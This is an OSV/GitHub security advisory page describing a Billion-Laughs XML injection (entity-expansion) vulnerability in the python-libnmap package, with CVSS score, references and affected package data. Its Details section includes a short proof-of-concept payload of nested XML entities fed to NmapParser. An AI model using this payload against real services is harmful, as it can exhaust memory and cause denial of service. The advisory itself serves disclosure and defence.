GHSA-9ccv-p7fg-m73x
Suggest an improvement- Source
- https://github.com/advisories/GHSA-9ccv-p7fg-m73x
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/07/GHSA-9ccv-p7fg-m73x/GHSA-9ccv-p7fg-m73x.json
- JSON Data
- https://api.test.osv.dev/v1/vulns/GHSA-9ccv-p7fg-m73x
- Aliases
- Published
- 2019-07-18T15:38:41Z
- Modified
- 2024-10-16T02:55:18.406249Z
- Severity
-
- 7.5 (High) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
- Summary
- XML Injection in python-libnmap
- Details
-
Description
python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.
PoC
ty = NmapParser() payload = """ <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ]> <lolz><hello>&lol3;</hello></lolz> """ ty.parse(payload) - Database specific
{ "nvd_published_at": "2019-07-15T03:15:00Z", "cwe_ids": [ "CWE-91" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2019-07-18T15:38:22Z" }- References
-
- https://nvd.nist.gov/vuln/detail/CVE-2019-1010017
- https://github.com/savon-noir/python-libnmap/issues/87
- https://github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4
- https://github.com/pypa/advisory-database/tree/main/vulns/python-libnmap/PYSEC-2019-218.yaml
- https://github.com/savon-noir/python-libnmap
Affected packages
PyPI / python-libnmap
Package
- Name
- python-libnmap
- View open source insights on deps.dev
- Purl
- pkg:pypi/python-libnmap